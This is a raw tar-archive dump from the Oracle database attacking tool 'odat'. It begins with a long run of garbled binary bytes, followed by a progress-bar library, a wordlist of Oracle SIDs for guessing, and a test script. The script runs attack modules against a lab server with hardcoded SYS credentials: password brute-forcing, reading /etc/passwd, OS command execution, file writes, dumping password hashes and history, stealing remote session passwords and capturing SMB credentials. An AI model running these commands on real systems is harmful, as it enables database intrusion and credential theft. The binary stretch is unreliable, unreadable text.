%ok۫Bãm-u_u)ES.R|P K?:߲ ߷W-G чG:ZŨP0R>\7/><'<~uíenZ uCwQa}O @oK_p}C@xO'y/cz~&_6.eSBox%H^&<3Pxö:gⶫ zoዽO%Q|-=cD<9xOχu #G}COе]3XGڴB(.bm-u_u)EMJ4jҧW-{s'k^_dEZ+j4rߗӅN[v,ok^#m-u_tíenZ E(\7/=C}_:ZŨP0[~_7~_*F~QG %0?z?οuCwQanj?T/:? )>K` %ok۫BïkC['?nXǿIPG'C .^ai? '_욺ʿ>{6-v~_Gk|^3k x?o>:4Yu]gŞ~xS^->X<֧) t@[S.R|P KK` %ok۫Bãm-u_u)ES.R|P K>5'?>)u~&?w/k'|GŞ4м5~*x_CY?i"zUڃYG-eQEoBT)0oh*1WmF)%vv[ΈS((S)7"ݶmj{,-' |Rп(eEEOԼ' gú #_iZX}Zfe{1|Wnj?T/:5miS~_iϖm쯲& }Uoi§-~^x_7e}nj?T/:?߲ ߷W-G ч_V_S.R|c ?!m-u_tíenZ E(xO_=C}_:ZŨP0[~_7~_*F~QG %0?z?οuCwQanj?T/:? )>K` %ok۫Bãm-u_u)ES.R|P K?:߲ ߷W-G чG:ZŨP0R>\7/><'<~uíenZ uCwQa}O @oK_p}C@xO'y/[~_7~_*Fok۫BïJ(p"#OG_q'ZG4w]|Sq|~υ좊N< qZ*)-}tҏ%*pP),RW}t (((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((g<+/ ^:7Yg|cgN|'_i:Lj|Mo6zF H5gTӴ: h%~ ,%&G+ Yfd:FW?}k^_g=9|q7//}s?g=~~o^_ͧؿ_#uG= eI,?2?g_x~Կ|MCYK P|GH~? we~=~ > x=7SgMwMuCw3\ϧM4cNJ?RjC쥦x> )!VjxHWVj:5ֵhSn)h$SNx4,E%vҳvQgR h)Ȕ_iI3i'KRWm+96ҋ>,%&G{Yd~ο㿈S/_$(oioA[şo,W/^9g^_5M·Zy??3'X7><|khx__/࿋$Эt-j)_Z9eu+z\뤥S'T麪 NIʥ4c&HM.I)dJ9Su}L~J9 rrIG2rUi' )Dؿ_#uG= eI,?2?g_xNZ?Ǖ+=hvJ oQx.tqⳫ6w<*!ߴ3.gg~ko>sY |'/_g'MYVxo'o~:+O_$6VV凌|;ƴ(μA6ɺSBj2 :K$Glrsu'JyrӚeRPMQW,%&G/ y|mࣿ^9Z=.zUO6K:;-z^]ƽK%-Wf_x'xZg>y({KOV~?fW__x2K?~$>|bc{MPѴ\y Zp^ZxmWׁSZ Vr&)_-okmz;ίN2SS1ؑOFrףQ犕8NgJiIbYK?`L5/%$Wn <}_.f>2$4&|?k~+[l е^og?;ueL |WkZ}Vľ3)߁7Ciki.+cgv< sGxχjtʤQY/*_R4.DQM6{SJ+ƛQiy77=.zwNm(&ڽ@_K/Ig:ƣ~3<_xZGMo7%nsŪᕴ,Zss>qǪMh:_oo,<3῎~"zgo?|;go ~'q{ώ-54=žZ \?!o\^x[BOkڣYDdUFJ9rroh⾦s&\r8O׫BJ9\:6r\EAI(bYK?`L5/%$W/3~Z_E?<3W|C;⍗o^g4Ov/k;GԭuAeGnog+^2Lc,^Y߹ۓ*'srnfQE螨QEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQe,?~#WהX_R0#Y5z~w)?+3dRʾ5|oZ]kf{;V{4xKƿ|im=J^ 5z^KhkNy!Exs❴?+߉?j9k:wA״? cZ~]-&`tK\kzu}75{f]?ۿ> ~w'~Ͽ|wb ?Dզ;'x^?!]x7ߏ)߆/%cj_ |꺍>=U+ iW^:ƽ[j?F.T9ʟpn7<^MgxuhqwO,?5 Ru&9sXKR^ʼn>7x7??oh7~п ߁b?cs_m|oύ|#` i0#.?Qǁ^[CQӬX|erᇎ<)gxgw]v?|XI}%|OG-[sRRiS-v$*rk_ 2Qq7ue9NVR4R7 CrgҔc[ Q~>]~D3WO0be,=,[6tx~!ij 𵇉" jŅrZia? ?m~՟>3Ꮑ>;< 7A&J_~Mk0i:ߍ&NMOi/ ><1ZO~?|KC< e-g3|xR7_ E#:ω-$9h?t_#;Vq㕇 #[oE|% ^]OV#<K%Ѭ4ѼiMRǺTsU ^5Z)!FfYi86/1^Wbe t]Of)@~x^N= jo ~˩k>9Mִ-X_|3-t$Bxú^5$_Go>~_ c#=G_|; Ý+9<_ <;kx?@M3CmcRTxS 5xW?P㟏g;/ze~ Yo |M׮>Tҟ\>:|O&ecq>xiGo;ƇO|  |2EH n*J _+sJ 1x ?>a7>!{/i:EGM&o{0Kխ4{P=?ßƺΥ6CԬ=X uQSp'~Z)FT]z._;8u1B5"F%ʟ7%U8ΒЕ8y7tIӭx ']|S|6/?q$#u)OsI[|3mz|J98?fLѾ+h_n|:TsW}# 8/:@mrVOx?&|QԾ/?>x{]oO|w[m KMiߎm[爇V{]+~~ٿ/kig𥏃 |(U(MFvDNqN Μ#QB,m54T+ԛQH<+~*~ŞI3>$6cE5--_^=cDPt?^j>tOcLԭ}+mmGiF;oG[K|m|Hpx _0vZ&/e"ύk?xĒ_-),^!y~ ߣ7_ 7|} _4 X"Css(֞YC,`aYqlڇz|/$mWϊm7+M~#W~͖^0Uχ<-ZxSO|5?;) Y'*$*^U*ԡNrwwKm$ 9'*ʥz7ZpKޛ)T=֤Uko|SSwƣ_ :,A}'^kZni:Ν[MiVe5%eGm߳uǞoϊZWUk|?W94ioo {mȮ<1𡵸tSkMpWVI*$)^QmIm4Zo FORJ!Z;2m6[^i7'?G 5:R(ـF_I11aEWTQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQE|bYK??lg_V/Eu^_tL'Կ@'|4?_^9K7+w+š%Ήw>[_kwto ?⯎^} SP/˜SÒjIyXYѪU'RQʲ+Pԓ+V84V!N&RKF3{I{4u')ϸJN1~cMyĞ2g/ i[_Xo2㇈SFo /ď'xxG.|9xw |#k'!kG׼u x;t]KKҢ"{GBg᷃4KfoZeG7zJgFoJm.h|E_xW^054#? 9!hO׌->J _ [ } /hߊ<{}k G\>!5+ NJu^1rR+pqiя,)ʚfOJ=U!ʕZ% 4s*xATԨT% %OJsWm:NKz[zE:?*' .F~^%Wo?f-[֟_|7&j~1!~/j[rf_56oxCc^)KcJ_CSօ &sO@5/ xVشYoCR!SxKʜRэJzʥZҋVRQ0CSRNJ)TUIBn2[(RPRIà?w&6qᯈڬ8$EShS~=75}~+|pRҴO:~EKɧZa [x_tx𧀣׬5m񧄼 Ğ>2[|ChxW6~ x_kֵ9/>?ٿL־A~~_3·iEx{+|.}cF>&[ENVK,r JiKu\.3s%e9YS2t"줩&8X?c(֜](Sro YIQRE5O'>.IG7)x_<)M}~0yծD%>ׯ/[OƯ~|=ly/» ᧊"|Sխu%|Q4ڱig}qbU$Вy}R(~ФZ>敡^]n:MΛkk~  UV|28!W+c?&Pk?J1j.^zVC!-εKsOE[጑M$j-)ilmj|N2Ԓj)fM5YɹElmYZb:+ c|?OeY-uO Z᥮5/mxaWÖ t: xvl4 k_Ix_W;_ kxgLJ`HG~_^F/|IiV?4Qd|%Gn[˼+cC*0/X+X\ۓZnW ΑҼ?m_Ѵ~4Դg> lt$j&v1AkږjWWVŗg7z56 O𧃾 ٟ-o? i:U΃k^, "i捧]g]\,/oE/c$T䤤̟VW|wq;y?Լey)]KU&ے{?¯(Cc/_z5 u?tG_ᔒ|::6wm|%(/ iiZZA>=]<-qxcG5jzW.SkOH> T^?uG\^9GM&ɫ3ޏ.\&šMGdi\o};z;)^S-j?Z?$!_k旫^jZ֭qiqڍ0?n Qs'j~ ־ ~?uH=}"/^,O [[jvC:Mwc̞?Vg8ڜa*jJ_YON.''uoO!q[9Ʀdڜa*jQsE9(I>XE)wxnK o~!OhZ/KW>G}.{$!M֭I~൹=5qg7O>#7?$~"xm?x[[t?x$k)t44rtQin#XSy[?XX'mwSX?P̵|/XQz'~/2t|ӮOo%]&Z=:l^K%_Jrj:h[E/O7Gō~_*S\+NSR{Xtj%re599O.ٌj-C[>~џgÏكg~~M/K)KVxoV:ck<5 i^ouuoxQԵPåZ[Z^^Ԛ(c pZ~ʅ.gOs眪Kީ)s;^$ ai`t?R/:uT^I"(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((odat-5.1.1/progressbar.py000066400000000000000000000250771423220672100153620ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: iso-8859-1 -*- # # progressbar - Text progressbar library for python. # Copyright (c) 2005 Nilton Volpato # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """Text progressbar library for python. This library provides a text mode progressbar. This is tipically used to display the progress of a long running operation, providing a visual clue that processing is underway. The ProgressBar class manages the progress, and the format of the line is given by a number of widgets. A widget is an object that may display diferently depending on the state of the progress. There are three types of widget: - a string, which always shows itself; - a ProgressBarWidget, which may return a diferent value every time it's update method is called; and - a ProgressBarWidgetHFill, which is like ProgressBarWidget, except it expands to fill the remaining width of the line. The progressbar module is very easy to use, yet very powerful. And automatically supports features like auto-resizing when available. """ __author__ = "Nilton Volpato" __author_email__ = "first-name dot last-name @ gmail.com" __date__ = "2006-05-07" __version__ = "2.2" # Changelog # # 2006-05-07: v2.2 fixed bug in windows # 2005-12-04: v2.1 autodetect terminal width, added start method # 2005-12-04: v2.0 everything is now a widget (wow!) # 2005-12-03: v1.0 rewrite using widgets # 2005-06-02: v0.5 rewrite # 2004-??-??: v0.1 first version import sys, time from array import array try: from fcntl import ioctl import termios except ImportError: pass import signal class ProgressBarWidget(object): """This is an element of ProgressBar formatting. The ProgressBar object will call it's update value when an update is needed. It's size may change between call, but the results will not be good if the size changes drastically and repeatedly. """ def update(self, pbar): """Returns the string representing the widget. The parameter pbar is a reference to the calling ProgressBar, where one can access attributes of the class for knowing how the update must be made. At least this function must be overriden.""" pass class ProgressBarWidgetHFill(object): """This is a variable width element of ProgressBar formatting. The ProgressBar object will call it's update value, informing the width this object must the made. This is like TeX \\hfill, it will expand to fill the line. You can use more than one in the same line, and they will all have the same width, and together will fill the line. """ def update(self, pbar, width): """Returns the string representing the widget. The parameter pbar is a reference to the calling ProgressBar, where one can access attributes of the class for knowing how the update must be made. The parameter width is the total horizontal width the widget must have. At least this function must be overriden.""" pass class ETA(ProgressBarWidget): "Widget for the Estimated Time of Arrival" def format_time(self, seconds): return time.strftime('%H:%M:%S', time.gmtime(seconds)) def update(self, pbar): if pbar.currval == 0: return 'ETA: --:--:--' elif pbar.finished: return 'Time: %s' % self.format_time(pbar.seconds_elapsed) else: elapsed = pbar.seconds_elapsed eta = elapsed * pbar.maxval / pbar.currval - elapsed return 'ETA: %s' % self.format_time(eta) class FileTransferSpeed(ProgressBarWidget): "Widget for showing the transfer speed (useful for file transfers)." def __init__(self): self.fmt = '%6.2f %s' self.units = ['B','K','M','G','T','P'] def update(self, pbar): if pbar.seconds_elapsed < 2e-6:#== 0: bps = 0.0 else: bps = float(pbar.currval) / pbar.seconds_elapsed spd = bps for u in self.units: if spd < 1000: break spd /= 1000 return self.fmt % (spd, u+'/s') class RotatingMarker(ProgressBarWidget): "A rotating marker for filling the bar of progress." def __init__(self, markers='|/-\\'): self.markers = markers self.curmark = -1 def update(self, pbar): if pbar.finished: return self.markers[0] self.curmark = (self.curmark + 1)%len(self.markers) return self.markers[self.curmark] class Percentage(ProgressBarWidget): "Just the percentage done." def update(self, pbar): return '%3d%%' % pbar.percentage() class Bar(ProgressBarWidgetHFill): "The bar of progress. It will strech to fill the line." def __init__(self, marker='#', left='|', right='|'): self.marker = marker self.left = left self.right = right def _format_marker(self, pbar): if isinstance(self.marker, str): return self.marker else: return self.marker.update(pbar) def update(self, pbar, width): percent = pbar.percentage() cwidth = int(width - len(self.left) - len(self.right)) marked_width = int(percent * cwidth / 100) m = self._format_marker(pbar) bar = (self.left + (m*marked_width).ljust(cwidth) + self.right) return bar class ReverseBar(Bar): "The reverse bar of progress, or bar of regress. :)" def update(self, pbar, width): percent = pbar.percentage() cwidth = int(width - len(self.left) - len(self.right)) marked_width = int(percent * cwidth / 100) m = self._format_marker(pbar) bar = (int(self.left) + (m*marked_width).rjust(cwidth) + int(self.right)) return bar default_widgets = [Percentage(), ' ', Bar()] class ProgressBar(object): """This is the ProgressBar class, it updates and prints the bar. The term_width parameter may be an integer. Or None, in which case it will try to guess it, if it fails it will default to 80 columns. The simple use is like this: >>> pbar = ProgressBar().start() >>> for i in xrange(100): ... # do something ... pbar.update(i+1) ... >>> pbar.finish() But anything you want to do is possible (well, almost anything). You can supply different widgets of any type in any order. And you can even write your own widgets! There are many widgets already shipped and you should experiment with them. When implementing a widget update method you may access any attribute or function of the ProgressBar object calling the widget's update method. The most important attributes you would like to access are: - currval: current value of the progress, 0 <= currval <= maxval - maxval: maximum (and final) value of the progress - finished: True if the bar is have finished (reached 100%), False o/w - start_time: first time update() method of ProgressBar was called - seconds_elapsed: seconds elapsed since start_time - percentage(): percentage of the progress (this is a method) """ def __init__(self, maxval=100, widgets=default_widgets, term_width=None, fd=sys.stdout): assert (maxval > 0),'maxval <= 0' self.maxval = maxval self.widgets = widgets self.fd = fd self.signal_set = False if term_width is None: try: self.handle_resize(None,None) signal.signal(signal.SIGWINCH, self.handle_resize) self.signal_set = True except: self.term_width = 79 else: self.term_width = term_width self.currval = 0 self.finished = False self.prev_percentage = -1 self.start_time = None self.seconds_elapsed = 0 def handle_resize(self, signum, frame): h,w=array('h', ioctl(self.fd,termios.TIOCGWINSZ,'\0'*8))[:2] self.term_width = w def percentage(self): "Returns the percentage of the progress." return self.currval*100.0 / self.maxval def _format_widgets(self): r = [] hfill_inds = [] num_hfill = 0 currwidth = 0 for i, w in enumerate(self.widgets): if isinstance(w, ProgressBarWidgetHFill): r.append(w) hfill_inds.append(i) num_hfill += 1 elif isinstance(w, str): r.append(w) currwidth += len(w) else: weval = w.update(self) currwidth += len(weval) r.append(weval) for iw in hfill_inds: r[iw] = r[iw].update(self, (self.term_width-currwidth)/num_hfill) return r def _format_line(self): return ''.join(self._format_widgets()).ljust(self.term_width) def _need_update(self): return int(self.percentage()) != int(self.prev_percentage) def update(self, value): "Updates the progress bar to a new value." assert 0 <= value <= self.maxval self.currval = value if not self._need_update() or self.finished: return if not self.start_time: self.start_time = time.time() self.seconds_elapsed = time.time() - self.start_time self.prev_percentage = self.percentage() if value != self.maxval: self.fd.write(self._format_line() + '\r') else: self.finished = True self.fd.write(self._format_line() + '\n') def start(self): """Start measuring time, and prints the bar at 0%. It returns self so you can use it like this: >>> pbar = ProgressBar().start() >>> for i in xrange(100): ... # do something ... pbar.update(i+1) ... >>> pbar.finish() """ self.update(0) return self def finish(self): """Used to tell the progress is finished.""" self.update(self.maxval) if self.signal_set: signal.signal(signal.SIGWINCH, signal.SIG_DFL) odat-5.1.1/resources/000077500000000000000000000000001423220672100144565ustar00rootroot00000000000000odat-5.1.1/resources/sids.txt000066400000000000000000000117341423220672100161670ustar00rootroot00000000000000ADV1 ADVCPROD AIX10 AIX11 AIX9 APEX ARIS ASDB ASDB0 ASDB1 ASDB2 ASDB3 ASDB4 ASDB5 ASDB6 ASDB7 ASDB8 ASDB9 ASG817 ASG817P ASG817T ATRPROD ATRTEST BLA BOOKS BUDGET C630 CTM4_0 CTM4_1 CTM4_6 CTM4_7 D D10 D8 D9 DB DB01 DB02 DB03 DB1 DB2 DB2EDU DB2PROD DB2TEST DB3 DBA DBA1 DBA2 DBA3 DBA4 DBA5 DBA6 DBA7 DBA8 DBA9 DBX DEMO DEV DEV0 DEV01 DEV1 DEV2 DEV3 DEV4 DEV5 DEV6 DEV7 DEV8 DEV9 DEVEL DIA1 DIA2 DIS DWH DWHDB DWHPROD DWHTEST DWRHS EARTH ELCARO EMRS2 EOF ERP ESOR FINDEC FINPROD FNDFS_HR1 FNDFS_HR2 FPRD GR01 GR02 GR03 HCDMO HEDGEHOG HPUX10 HPUX11 HPUX9 HR HR0 HR1 HR2 HR3 HR4 HR5 HR6 HR7 HR8 HR9 HRDMO HTMLDB IAGTS IASDB INCD ISD01 ISD06 ISP ISP01 ISP1 ISP2 ISQ1 ITS IXOS KRAUS KRONOS LDAP LIN10 LIN11 LIN9 LINUX101 LINUX1011 LINUX1012 LINUX1013 LINUX1014 LINUX1015 LINUX102 LINUX1021 LINUX1022 LINUX1023 LINUX1024 LINUX1025 LINUX111 LINUX11106 LINUX11107 LINUX112 LINUX11201 LINUX817 LINUX8171 LINUX8172 LINUX8173 LINUX8174 LINUX901 LINUX902 LINUX9021 LINUX9022 LINUX9023 LINUX9024 LINUX9025 LINUX9026 LINUX9027 LINUX9028 LINUX92 LINUX9208 LUN MDTEST MSAM MV713 MYDB NEDB NORTHWIND OAS OAS1 OAS10 OAS2 OAS3 OAS4 OAS5 OAS6 OAS7 OAS8 OAS9 ODB OEMREP OGDP OID OJS OMS OPENVIEW ORA ORA1 ORA10 ORA101 ORA10101 ORA10101P ORA10101T ORA10102 ORA10102P ORA10102T ORA10103 ORA10103P ORA10103T ORA10104 ORA10104P ORA10104T ORA10105 ORA10105P ORA10105T ORA1011 ORA1011P ORA1011T ORA1012 ORA1012P ORA1012T ORA1013 ORA1013P ORA1013T ORA1014 ORA1014P ORA1014T ORA1015 ORA1015P ORA1015T ORA1021 ORA1021P ORA1021T ORA1022 ORA1022P ORA1022T ORA1023 ORA1023P ORA1023T ORA1024 ORA1024P ORA1024T ORA1025 ORA1025P ORA1025T ORA11 ORA111 ORA11106 ORA11107 ORA112 ORA11201 ORA11202 ORA11G ORA2 ORA3 ORA4 ORA5 ORA6 ORA7 ORA8 ORA805 ORA806 ORA815 ORA816 ORA817 ORA8170 ORA8170P ORA8170T ORA8171 ORA8171P ORA8171T ORA8172 ORA8172P ORA8172T ORA8173 ORA8173P ORA8173T ORA8174 ORA8174P ORA8174T ORA8_SC ORA9 ORA910 ORA920 ORA9201 ORA9201P ORA9201T ORA9202 ORA9202P ORA9202T ORA9203 ORA9203P ORA9203T ORA9204 ORA9204P ORA9204T ORA9205 ORA9205P ORA9205T ORA9206 ORA9206P ORA9206T ORA9207 ORA9207P ORA9207T ORA9208 ORA9208P ORA9208T ORACL ORACLE ORADB ORADB1 ORADB2 ORADB3 ORALIN ORCL ORCL0 ORCL1 ORCL10 ORCL10G ORCL11 ORCL11G ORCL2 ORCL3 ORCL4 ORCL5 ORCL6 ORCL7 ORCL8 ORCL9 ORCLA ORCLB ORCLC ORCLD ORCLE ORCLF ORCLG ORCLH ORCLI ORCLJ ORCLK ORCLL ORCLM ORCLN ORCLO ORCLP ORCLP0 ORCLP1 ORCLP2 ORCLP3 ORCLP4 ORCLP5 ORCLP6 ORCLP7 ORCLP8 ORCLP9 ORCLQ ORCLR ORCLS ORCLSOL ORCLT ORCLU ORCLV ORCLW ORCL.WORLD ORCLX ORCLY ORCLZ ORIONDB ORTD OVO P P10 P10G P8 P8I P9 P9I PD1 PINDB PORA10101 PORA10102 PORA10103 PORA10104 PORA10105 PORA1011 PORA1012 PORA1013 PORA1014 PORA1015 PORA1021 PORA1022 PORA1023 PORA1024 PORA1025 PORA11106 PORA11107 PORA11201 PORA11202 PORA8170 PORA8171 PORA8172 PORA8173 PORA8174 PORA9201 PORA9202 PORA9203 PORA9204 PORA9205 PORA9206 PORA9207 PORA9208 PRD PRITXI PROD PROD0 PROD1 PROD10 PROD10G PROD11 PROD11G PROD2 PROD3 PROD4 PROD5 PROD6 PROD7 PROD8 PROD8I PROD9 PROD920 PROD9I PROG10 QM QS RAB1 RAC RAC1 RAC2 RAC3 RAC4 RDB RDS RECV REP REP0 REP1 REP2 REP3 REP4 REP5 REP6 REP7 REP8 REP9 REPO REPO0 REPO1 REPO2 REPO3 REPO4 REPO5 REPO6 REPO7 REPO8 REPO9 REPOS REPOS0 REPOS1 REPOS2 REPOS3 REPOS4 REPOS5 REPOS6 REPOS7 REPOS8 REPOS9 REPSCAN RIPPROD RITCTL RITDEV RITPROD RITQA RITTRN RITTST SA0 SA1 SA2 SA3 SA4 SA5 SA6 SA7 SA8 SA9 SAA SAB SAC SAD SAE SAF SAG SAH SAI SAJ SAK SAL SALES SAM SAMPLE SAN SANIPSP SAO SAP SAP0 SAP1 SAP2 SAP3 SAP4 SAP5 SAP6 SAP7 SAP8 SAP9 SAPHR SAQ SAR SAS SAT SAU SAV SAW SAX SAY SAZ SCAN SCAN0 SCAN1 SCAN2 SCAN3 SCAN4 SCAN5 SCAN6 SCAN7 SCAN8 SCAN9 SDB SENTRIGO SES SGNT SID0 SID1 SID2 SID3 SID4 SID5 SID6 SID7 SID8 SID9 SIP SOL10 SOL11 SOL9 STAG1 STAG2 T1 T10 T101 T102 T2 T3 T4 T7 T71 T72 T73 T8 T80 T81 T82 T9 T91 T92 TEST TEST10G TEST11G TEST9I TESTORCL THUMPER TRC28 TRIUMF TSH1 TSM TST TST0 TST1 TST2 TST3 TST4 TST5 TST6 TST7 TST8 TST9 TYCP UNIX101 UNIX1011 UNIX1012 UNIX1013 UNIX1014 UNIX1015 UNIX102 UNIX1021 UNIX1022 UNIX1023 UNIX1024 UNIX1025 UNIX817 UNIX8171 UNIX8172 UNIX8173 UNIX8174 UNIX901 UNIX902 UNIX9021 UNIX9022 UNIX9023 UNIX9024 UNIX9025 UNIX9026 UNIX9027 UNIX9028 V713 VENOM VENU VISTA VPX W101 W1011 W1012 W1013 W1014 W1015 W102 W1021 W1022 W1023 W1024 W1025 W111 W11102 W11106 W11107 W112 W11201 W817 W8171 W8172 W8173 W8174 W901 W902 W9021 W9022 W9023 W9024 W9025 W9026 W9027 W9028 WEB WEB1 WEB10 WEB2 WEB3 WEB4 WEB5 WEB6 WEB7 WEB8 WEB9 WEBDEV WG73 WIN101 WIN1011 WIN1012 WIN1013 WIN1014 WIN1015 WIN102 WIN1021 WIN1022 WIN1023 WIN1024 WIN1025 WIN11 WIN111 WIN11106 WIN11107 WIN112 WIN11201 WIN11202 WIN7 WIN817 WIN8171 WIN8172 WIN8173 WIN8174 WIN901 WIN902 WIN9021 WIN9022 WIN9023 WIN9024 WIN9025 WIN9026 WIN9027 WIN9028 WINDOWS101 WINDOWS1011 WINDOWS1012 WINDOWS1013 WINDOWS1014 WINDOWS1015 WINDOWS102 WINDOWS1021 WINDOWS1022 WINDOWS1023 WINDOWS1024 WINDOWS1025 WINDOWS11 WINDOWS111 WINDOWS11106 WINDOWS11107 WINDOWS112 WINDOWS11201 WINDOWS11202 WINDOWS817 WINDOWS8171 WINDOWS8172 WINDOWS8173 WINDOWS8174 WINDOWS901 WINDOWS902 WINDOWS9021 WINDOWS9022 WINDOWS9023 WINDOWS9024 WINDOWS9025 WINDOWS9026 WINDOWS9027 WINDOWS9028 XE XEXDB XE_XPT PLSExtProc odat-5.1.1/testAllOdatModules.sh000077500000000000000000000125021423220672100165540ustar00rootroot00000000000000#!/bin/bash #Constants ALL_IS_OK=0 #Connection information SERVER=192.168.56.102 SID=ORCL USER="SYS" PASSWORD='oracle' #OPTIONS VERBOSE='-vv' #'> /dev/null' ODATBIN='./odat.py' tests=( "$ODATBIN all -s $SERVER" "$ODATBIN all -s $SERVER --accounts-file=./accounts/accounts_small.txt --sid-charset '01' --sids-max-size=2" "$ODATBIN all -s $SERVER --no-alias-like-sid --sids-file=./sids.txt" "$ODATBIN all -s $SERVER -d $SID" "$ODATBIN all -s $SERVER -d $SID -U $USER -P $PASSWORD" "$ODATBIN all -s $SERVER -d $SID -U $USER -P $PASSWORD" "$ODATBIN sidguesser -s $SERVER --sids-max-size=1 --sid-charset='1234'" "$ODATBIN sidguesser -s $SERVER --sids-file=./sids.txt" "$ODATBIN passwordguesser -s $SERVER -d $SID" "$ODATBIN passwordguesser -s $SERVER -d $SID --accounts-file=./accounts/accounts_small.txt" "$ODATBIN utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" "$ODATBIN utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 1521,443,22" "$ODATBIN utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 20-30" "echo 'GET / HTTP/1.0\n\n' > ./temp.txt; $ODATBIN utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --send google.com 80 temp.txt ;rm ./temp.txt" "$ODATBIN httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" "$ODATBIN httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 1521,443,22" "$ODATBIN httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 20-30" "$ODATBIN httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --url 127.0.0.1:80" "$ODATBIN utltcp -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" "$ODATBIN utltcp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 1521,443,22" "$ODATBIN utltcp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 20-30" "echo 'GET / HTTP/1.0\n\n' > ./temp.txt; $ODATBIN utltcp -s $SERVER -d $SID -U $USER -P $PASSWORD --send-packet 127.0.0.1 80 ./temp.txt ;rm ./temp.txt" "$ODATBIN ctxsys -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" "$ODATBIN ctxsys -s $SERVER -d $SID -U $USER -P $PASSWORD --getFile /etc/passwd" "$ODATBIN externaltable -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" "$ODATBIN externaltable -s $SERVER -d $SID -U $USER -P $PASSWORD --getFile /tmp/ temp.sh passwd.txt" "$ODATBIN externaltable -s $SERVER -d $SID -U $USER -P $PASSWORD --exec /tmp/ temp.sh" "$ODATBIN dbmsxslprocessor -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" "$ODATBIN dbmsxslprocessor -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt ./accounts/accounts_small.txt" "$ODATBIN dbmsadvisor -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" "$ODATBIN dbmsadvisor -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt ./accounts/accounts_small.txt" "$ODATBIN utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module --getFile /etc/ passwd passwd.txt" "$ODATBIN utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt ./accounts/accounts_small.txt" "$ODATBIN utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --removeFile /tmp/ file.txt" "$ODATBIN dbmsscheduler -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" "$ODATBIN dbmsscheduler -s $SERVER -d $SID -U $USER -P $PASSWORD --exec /bin/ls" "$ODATBIN java -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" "$ODATBIN passwordstealer -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" "$ODATBIN passwordstealer -s $SERVER -d $SID -U $USER -P $PASSWORD --get-passwords-from-history" "$ODATBIN passwordstealer -s $SERVER -d $SID -U $USER -P $PASSWORD --get-passwords" "$ODATBIN oradbg -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" "$ODATBIN oradbg -s $SERVER -d $SID -U $USER -P $PASSWORD --exec /bin/ls" "sudo $ODATBIN stealremotepwds -s $SERVER -d $SID --test-module" "sudo $ODATBIN stealremotepwds -s $SERVER -d $SID --user-list ./accounts/accounts_small.txt --get-all-passwords" "sudo chmod o+r sessions-$SERVER-1521-$SID.odat.challenge; $ODATBIN stealremotepwds -s $SERVER -d $SID --decrypt-sessions sessions-$SERVER-1521-$SID.odat.challenge ./accounts/accounts_small.txt" "$ODATBIN dbmslob -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" "$ODATBIN dbmslob -s $SERVER -d $SID -U $USER -P $PASSWORD --getFile /etc/ passwd temp.txt" "$ODATBIN smb -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" "$ODATBIN smb -s $SERVER -d $SID -U $USER -P $PASSWORD --capture 127.0.0.1 SHARE" "$ODATBIN search -s $SERVER -d $SID -U $USER -P $PASSWORD --columns '%password%'" "$ODATBIN search -s $SERVER -d $SID -U $USER -P $PASSWORD --columns '%password%' --show-empty-columns" "$ODATBIN search -s $SERVER -d $SID -U $USER -P $PASSWORD --pwd-column-names --show-empty-columns" "$ODATBIN search -s $SERVER -d $SID -U $USER -P $PASSWORD --pwd-column-names" ) function isGoodReturnValue { if [ "$1" -eq "$ALL_IS_OK" ] then echo -e " \e[0;32mOK!\e[0;m" else echo -e " \e[0;31mKO!\e[0;m" fi } read -p "This script should be used during the ODAT development ONLY to check if there are no errors. Do you want continue? 